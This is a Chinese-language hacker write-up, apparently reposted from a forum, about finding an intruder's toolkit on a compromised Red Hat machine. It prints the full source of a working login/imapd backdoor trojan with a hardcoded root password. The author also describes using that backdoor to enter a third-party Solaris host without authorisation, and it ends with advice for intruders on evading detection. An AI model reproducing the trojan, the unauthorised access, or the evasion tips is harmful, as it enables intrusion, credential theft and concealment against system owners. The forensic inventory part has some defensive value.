分析某台机器上发现的工具包
前些日子测试那个bind的漏洞,顺便就帮一哥们检测了一下他的主机——红帽子6.0的机器,一不小心居然又进去了——!@#$%^%,真是搞不懂为什么现在漏洞资料已是满天飞的情况下,网上怎么还有这么多“公鸡”。
依照习惯,先w看看有谁在:
# w
嘿,好象就我一个人呀,看看有什么进程在跑吧……
# ps -aux
cracker$ ps -aux
USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
ronin 418 0.0 0.9 420 240 p0 R+ 7:15PM 0:00.01 ps -aux
root 1 0.0 0.9 520 264 ?? Is 5:00PM 0:00.03 /sbin/init --
root 2 0.0 0.0 0 0 ?? DL 5:00PM 0:00.01 (pagedaemon)
root 3 0.0 0.0 0 0 ?? DL 5:00PM 0:00.00 (vmdaemon)
root 4 0.0 0.0 0 0 ?? DL 5:00PM 0:01.37 (syncer)
root 128 0.0 2.1 876 588 ?? Is 5:00PM 0:00.54 syslogd
daemon 137 0.0 1.9 884 536 ?? Is 5:00PM 0:00.01 /usr/sbin/portmap
root 148 0.0 1.1 476 304 ?? Is 5:00PM 0:00.01 mountd -r
root 151 0.0 0.7 336 196 ?? Is 5:00PM 0:00.01 nfsd: master (nfs
root 155 0.0 0.6 316 160 ?? I 5:00PM 0:00.00 nfsd: server (nfs
root 156 0.0 0.6 316 160 ?? I 5:00PM 0:00.00 nfsd: server (nfs
root 157 0.0 0.6 316 160 ?? I 5:00PM 0:00.00 nfsd: server (nfs
root 158 0.0 0.6 316 160 ?? I 5:00PM 0:00.00 nfsd: server (nfs
root 159 0.0 1.9 263024 552 ?? Is 5:00PM 0:00.00 rpc.statd
root 168 0.0 0.3 216 80 ?? I 5:00PM 0:00.00 nfsiod -n 4
root 169 0.0 0.3 216 80 ?? I 5:00PM 0:00.00 nfsiod -n 4
root 170 0.0 0.3 216 80 ?? I 5:00PM 0:00.00 nfsiod -n 4
root 171 0.0 0.3 216 80 ?? I 5:00PM 0:00.00 nfsiod -n 4
root 192 0.0 3.2 1296 920 ?? Is 5:00PM 0:01.56 sshd (sshd1)
root 195 0.0 2.1 952 616 ?? Is 5:00PM 0:00.03 inetd -wW
root 198 0.0 2.1 1040 588 ?? Is 5:00PM 0:00.11 cron
root 202 0.0 3.5 1388 1004 ?? Is 5:00PM 0:00.09 sendmail: accepti
root 228 0.0 1.7 844 480 ?? Is 5:00PM 0:00.01 moused -p /dev/cu
root 257 0.0 2.1 888 600 v0 Is+ 5:00PM 0:00.02 /usr/libexec/gett
root 258 0.0 2.1 888 600 v1 Is+ 5:00PM 0:00.02 /usr/libexec/gett
root 259 0.0 2.1 888 600 v2 Is+ 5:00PM 0:00.02 /usr/libexec/gett
root 260 0.0 2.1 888 600 v3 Is+ 5:00PM 0:00.01 /usr/libexec/gett
root 261 0.0 2.1 888 600 v4 Is+ 5:00PM 0:00.02 /usr/libexec/gett
root 262 0.0 2.1 888 600 v5 Is+ 5:00PM 0:00.02 /usr/libexec/gett
root 263 0.0 2.1 888 600 v6 Is+ 5:00PM 0:00.01 /usr/libexec/gett
root 264 0.0 2.1 888 600 v7 Is+ 5:00PM 0:00.02 /usr/libexec/gett
root 277 0.0 3.6 1512 1028 p0- I 5:16PM 0:00.44 su (bash)
root 411 0.0 2.9 1184 828 ?? Ss 7:14PM 0:00.06 telnetd
ronin 412 0.0 3.5 1500 1020 p0 Ss 7:14PM 0:00.12 -bash (bash)
root 0 0.0 0.0 0 0 ?? DLs 5:00PM 0:00.01 (swapper)
唔,很正常……
# netstat -a |more
........
........
........
也很正常……
xixi,我还是先把login替换掉,明天再警告我那哥们吧:)
# ls -la /usr/sbin|grep login
login
.login
咦,有鬼,真够巧的,居然有个.login,莫非有人已经捷足先登了?两个login
还不一样大哦……,telnet到自己的红帽子上:
# telnet quack
查看一下login的实际大小,真是被人换掉了!那——看看ps和netstat吧,估计也好
不了多少,哼,刚才看到的ps和netstat的输出说不定都是被伪装过的了!
把我本机的ps跟netstat和朋友这台机器的ps和netstat拿来diff一下,果然不同!
看来是有鬼了,帮它备一份吧
mv ps ps_fake
mv netstat netstat_fake
再把自己机器上绝对没被改过的ps与netstat传上去……
# rcp root@*.*.*.*:/bin/ps /bin/ps
# rcp root@*.*.*.*:/usr/bin/netstat /usr/bin/netstat
我再来看看……
# ps -ef|more
发达喽,这么多东东……
啊——知道我发现什么了么?居然有个nmap的进程nohup着……由root启动的"有趣"程序有:
sniffit -a -p 23 -t *.*.*.*
nmap -P0 -sF -O 111.111.*.* -oN /etc/X11/.X11default/.../111.111.log
bindshell
这个入侵者的工具包看来是放在/etc/X11/.X11default/.../呀,我们来看看里面
都有哪些东西吧……
哇,看来这台机器当公鸡也好长时间了哦——积累了这么多好东西了呀,都成大本
营了……
哦,对了,等等,先看看这个入侵者在不在机器上再说……
# netstat -a|more <-----------这回是自己的netstat了:)输出的结果除了我自
己就没看到别人了……
唔,象是不在哦,只是还有一些进程挂着——好象是死进程了,没杀掉而已,便宜了
我了:),这个210.*.*.*,好象是台湾的吧,最近怎么老和台湾打交道?算了,先看
看他的习惯吧,装什么后门……顺便开个进程扫一下这台机器……
觉得好笑的是,这个兄弟也太老实了些,居然把源码什么的一古脑留下来供人分析,
而且编译时老老实实的以源码的名字来命名……xixi,我看看他login是用什么替的,
哦,这个东东呀……
/* Universal trojan ( login / imapd / qpopd )
But will work on more daemons and on most systems.
After installed on the system.
Telnet to the daemon and you will have 1 second to type in
the trojan passwd to get root access else it executes the real daemon. */
/*
* PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! PUBLIC! :P
*
* mitra ( login / ipop3d / imapd trojan )
* axess ( [email protected] ) in Dec-1999
*
* This is an combined login / ipop3d / imapd trojan.
* This should work with other deamons but i have only tested these 3.
*
* REAL == mv the real deamon to this path.
* TROJAN == This is the real path of the deamon, put the trojan here.
*
* It defaults to login trojan now.
* Dont forgot you might have to the rights of the trojan.
* Telnet to the port whatever deamon its set for.
* The passwd you need to enter in one second == door
* and you will get that lovely # =)
* This works on most systems.
*
*/
#include
#include
#include
#include
#define REAL "/bin/.login"
#define TROJAN "/bin/login"
#define ROOT "xundi"
/* ^^^^^
|
+--------->xixi,密码怎么是xundi?呵呵开玩笑啦
这边密码看看,后面要用到的。 */
char **execute;
char passwd[5];
int main(int argc, char *argv[]) {
void connection();
signal(SIGALRM,connection);
alarm(1);
execute=argv;
*execute=TROJAN;
scanf("%s",passwd);
if(strcmp(passwd,ROOT)==0) {
alarm(0);
execl("/bin/sh","/bin/sh","-i",0);
exit(0);
}
else
{
execv(REAL,execute);
exit(0);
}
}
void connection()
{
execv(REAL,execute);
exit(0);
}
那边台湾那台机器的结果也已经出来了,是solaris7的机器,但没有致
命的漏洞:(,如果这台也是入侵者的肉鸡的话,估计他关掉了一些服务,
以免被人轻易攻陷……,那么,我们来试试他自己的后门……
# telnet 210.*.*.* 在一秒钟内输入password……,于是看到
#
呵呵,真是爽到极点,进来了又:)……可以做的事有好多啦,但……
先不管别人的事了,我打了个电话给那哥们,嘿,这小子有用Tripwire对
系统里的文件目录做了数据库记录了,嘿,那就好办,运行一下吧,结果
发现,系统里面有了好些变化哦:
一、那位入侵者已经在机器里装了:
1.sniffit0.3.7 <---------- 监听工具
2.nmap2.52以及nmap-web1.4 <---------- 扫描工具,以及它的cgi版本
3.pscan <---------- 扫描端口的工具,速度颇快,但会有许多log
4.lrk <---------- liunx root kit
5.ulogin.c <---------- 一个假的login,你要DISPLAY="password";export DISPLAY然后telnet
6.nc <---------- telnet工具,也可以绑定端口
7.trojan.c <---------- 假的login,需要在login出来前一秒输入password就行了
8.wu-ftpd.trojan.tar <---------- 假的wu-ftpd守护进程,telnet到21口并输入特定用户名就是root
9.bindshell.c <---------- 端口绑定工具
10.wipe <---------- 擦log的一个工具
二、并且更改了以留下后门:
1./etc/inetd.conf <----------- 把端口9改成了sh
2./etc/rc.d/rc.local <----------- 将上面所说的bindshell添了进去
三、进行了一些扫描及监听的活,留下一些记录文件:
1.210.*.cmsd.log <------------ 某个B类网址的cmsd漏洞扫描结果
2.210.*.sadmind.log <------------ 某个B类网址的sadmind漏洞扫描结果
3.sni.log <------------ 对这台机的监听结果!@$%^&&$#@
四、安装了DDOS工具
1.tfn2k <------------ 无须多说了吧:)大名鼎鼎呀……
五、某些攻击性的exploit,如:
1.t666.c <------------ bind的攻击程序
2.msadc2.pl <------------ 针对msadc的攻击程序
3.sadmindex <------------ sadmindex的攻击程序及brute程序
六、有一个已经编译好的Solaris下的包,里面有如下工具:
1.pscan <------------- 扫描工具
2.tfn2k <------------- DDOS工具
3.nc <------------- 端口重定向
4.ulogin <------------- 后门
5.trojan <------------- 后门
6.command.tar <------------- ps\netstat\ls\find的伪造程序
7.bindshell <------------- 端口绑定工具
8.rpc-kit.tar <------------- rpc的攻击工具包
七、留了两个suid的shell
我来看看sniffit记下什么了吧……xixi,看得是不是很头大,我也烦……
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23
E . . ( ? . @ . . . : i . . . . . . . . . 7 . . . . D 3 . . . . P . . . . .
. .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23
E . . ( @ . @ . . . 9 i . . . . . . . . . 7 . . . . D 3 . . . . P . . . . .
. .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23
E . . ( A . @ . . . 8 i . . . . . . . . . 7 . . . . D 3 . . . . P . . c . .
. .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . , B . @ . . . 7 e . . . . . . . . . 8 . . . . C . . . . . ` . . . .
. . . . . .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ( C . @ . . . 6 i . . . . . . . . . 8 . . . . C . . . . { P . " 8 % .
. .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . + D . @ . . . 5 f . . . . . . . . . 8 . . . . C . . . . ~ P . " 5 . .
. . . . %
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . + E . @ . . . 4 f . . . . . . . . . 8 . . . . C . . . . . P . " # . .
. . . . &
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . 7 F . @ . . . 3 Z . . . . . . . . . 8 . . . . C . . . . . P . " # . .
. . . . . . . . . # . . . . $
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . 2 G . @ . . . 2 _ . . . . . . . . . 8 . . . . C . . . . . P . " . y 5
. . . . . . A N S I . .
^^^^^^^
|
+------------------------->知道这是什么么?
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . + H . @ . . . 1 f . . . . . . . . . 8 . . . . C . . . . . P . " . " .
. . . . .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . 7 I . @ . . . 0 Z . . . . . . . . . 8 . . . . C . . . . . P . " . . .
. . . . . . . " . . . . . . . . !
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . + J . @ . . . / f . . . . . . . . . 8 . . . . C . . . . . P . " . $ .
. . . . .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . + K . @ . . . . f . . . . . . . . . 8 . . . . C . . . . . P . ! . $ .
. . . . .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ( L . @ . . . - i . . . . . . . . . 8 . . . . C . . . . . P . ! . % .
. .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ) M . @ . . . , h . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
. . r
^^^
|
+-------------------->开始了哦
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ) N . @ . . . + h . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
. . o
^^^
|
+-------------------->又一个
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ( O . @ . . . * i . . . . . . . . . 8 . . . . C . . . . . P . ! . % .
. .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ) P . @ . . . ) h . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
. . n
^^^
|
+-------------------->还有
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ) Q . @ . . . ( h . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
. . i
^^^
|
+-------------------->……
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ) R . @ . . . h . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
. . n
^^^
|
+-------------------->这些就是用户名了啦……
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ( S . @ . . . & i . . . . . . . . . 8 . . . . C . . . . . P . ! . % .
. .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . * T . @ . . . % g . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
. . . .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ( U . @ . . . $ i . . . . . . . . . 8 . . . . C . . . . . P . ! . % .
. .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ) V . @ . . . # h . . . . . . . . . 8 . . . . C . . . . . P . ! . . .
. . h
^^^
|
+-------------------->密码开始了,睁大眼……
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ) W . @ . . . " h . . . . . . . . . 8 . . . . D . . . . . P . ! . . .
. . a
^^^
|
+-------------------->……
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ) X . @ . . . ! h . . . . . . . . . 8 . . . . D . . . . . P . ! . . .
. . c
^^^
|
+-------------------->……
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ) Y . @ . . . h . . . . . . . . . 8 . . . . D . . . . . P . ! . . .
. . k
^^^
|
+-------------------->……
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ) Z . @ . . . . h . . . . . . . . . 8 . . . . D . . . . . P . ! . . .
. . e
^^^
|
+-------------------->……
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23
E . . ( [ . @ . . . . i . . . . . . . . . 7 . . . . D 3 . . . 1 P . . . . .
. .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23
E . . ( \ . @ . . . . i . . . . . . . . . 7 . . . . D 3 . . . . P . " 8 . k
. .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1335-192.168.0.2.23
E . . ( ] . @ . . . . i . . . . . . . . . 7 . . . . D 3 . . . . P . . . . k
. .
Packet ID (from_IP.port-to_IP.port): 192.168.0.1.1336-192.168.0.2.23
E . . ) ^ . @ . . . . h . . . . . . . . . 8 . . . . D . . . . . P . ! . . .
. . r
^^^
|
+-------------------->密码到此结束……
也就是说,密码都被听走了……真是!@#$%^&
往下的事就好办多了,自己补补漏洞,把密码换掉,通知用户更改密码……
总结入侵者所犯的错误:
1、没有帮这台主机打上patch:),如果想自己长期使用这台机器的话,打上补丁以防
止别人以同样的方式进入是必要的,也可以避免被人追踪到……
2、上传的后门,漏洞利用程序编译成二进制代码后最后马上删掉源程序,并且编译好
的程序不要太"老实",可以随便用些乱七八糟的名字让人摸不着脑袋长哪儿嘛……
3、不同的肉鸡上的后门最好不要设一样,也就是说,如果你用跳板跳到某台机器,那
么跳板上的后门及你的目标机器上的最好不要一样,要不然容易被人“反咬一口”
4、后门也留得太多了:),不知是在测试还是怎么着?被抓到一个后很容易让root产生
"联想"——马上寻找入侵者。
5、某些工具包没有充分利用上,比如lrk,用得好的话人家一下还不容易查觉有人进入
过系统。
摘自:永远的UNIX
作者: quack([email protected])
发布人:netbull 来自:非常Linux